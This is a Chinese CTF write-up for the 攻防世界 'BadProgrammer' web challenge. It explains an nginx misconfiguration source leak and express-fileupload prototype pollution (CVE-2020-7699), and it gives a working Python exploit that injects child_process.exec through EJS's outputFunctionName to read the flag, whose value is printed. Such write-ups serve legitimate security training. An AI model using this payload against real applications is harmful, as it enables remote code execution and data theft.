【愚公系列】2023年06月 攻防世界-Web(BadProgrammer)


前言

1.nginx源码泄露漏洞

Nginx源码泄露漏洞是一种安全漏洞,指攻击者可以通过某种方式获取Nginx服务器上的源代码文件,导致服务器的代码暴露在公众面前,进而被攻击者利用。这可能会导致最终用户资料泄露,甚至整个服务器被攻击者完全控制。

该漏洞可能是由于Nginx服务器配置不当、身份验证机制不够严格、访问控制规则过于宽松等原因导致的。攻击者可能会通过各种手段获取Nginx服务器上的源代码,如使用爆破工具破解密码、获取系统管理员权限,或者利用其他漏洞绕过服务器的安全防御机制等。

为避免Nginx源码泄露漏洞,管理员应加强服务器的安全性,严格控制访问权限,增强身份验证功能。此外,还应定期更新服务器软件、应用程序和操作系统,及时修补已知漏洞,以确保服务器的安全性和稳定性。

2.express-fileupload原型链污染漏洞

express-fileupload是Node.js的一个中间件,用于处理文件上传。在其版本小于1.1.6时,存在一种原型链污染漏洞。攻击者可以通过在上传文件的请求中设置特定的__proto__属性来污染原型链,从而实现对目标应用的控制。

具体来说,攻击者可以通过在请求中设置__proto__为一个包含恶意代码的对象,然后将该对象传递给express-fileupload中的函数进行处理。如果目标服务器没有对__proto__属性进行适当的处理,恶意代码就可以被执行,导致应用的不可预料行为,包括信息泄露、拒绝服务等。

为了防止该漏洞,建议升级express-fileupload的版本至1.1.6及以上,并对上传的文件进行适当的验证和过滤。同时,应用程序需要在处理请求时进行严格的输入验证和过滤,以确保请求参数不会导致应用程序的不安全行为。

一、BadProgrammer

1.题目

在这里插入图片描述

2.答题

2.1 目录穿透找源码

打开链接查看源码,发现静态文件存放在/static/目录下 :
在这里插入图片描述
观察请求response header发现是nginx服务器加express框架:

在这里插入图片描述
利用nginx配置错误,可以列目录:
在这里插入图片描述
此时可以得到app.js源码:

const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({
    
     parseNested: true }));

app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
    
    
    res.render('flag.ejs');
});

app.get('/', (req, res) => {
    
    
    res.render('index.ejs');
})

app.listen(3000);
app.on('listening', function() {
    
    
    console.log('Express server started on port %s at %s', server.address().port, server.address().address);
});

2.2 原型链污染漏洞

查看package.json文件,发现引用express-fileupload版本为1.1.7-alpha.4,此版本存在CVE-2020-7699,原型链污染漏洞。

通过污染ejs中outputFunctionName变量,实现RCE:

import requests

resp1 = requests.post("http://{}:{}/{}".format('61.147.171.105', '52139', '4_pATh_y0u_CaNN07_Gu3ss'),
        files={
    
    '__proto__.outputFunctionName': 
        (
            None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='cp /flag.txt /app/static/js/flag.txt')
        )})

print(resp1)

访问

http://61.147.171.105:52139/static/js/flag.txt

得到flag:cyberpeace{5966a3d1a2b48067c840fa89262db9af}

猜你喜欢

转载自blog.csdn.net/aa2528877987/article/details/131255172
今日推荐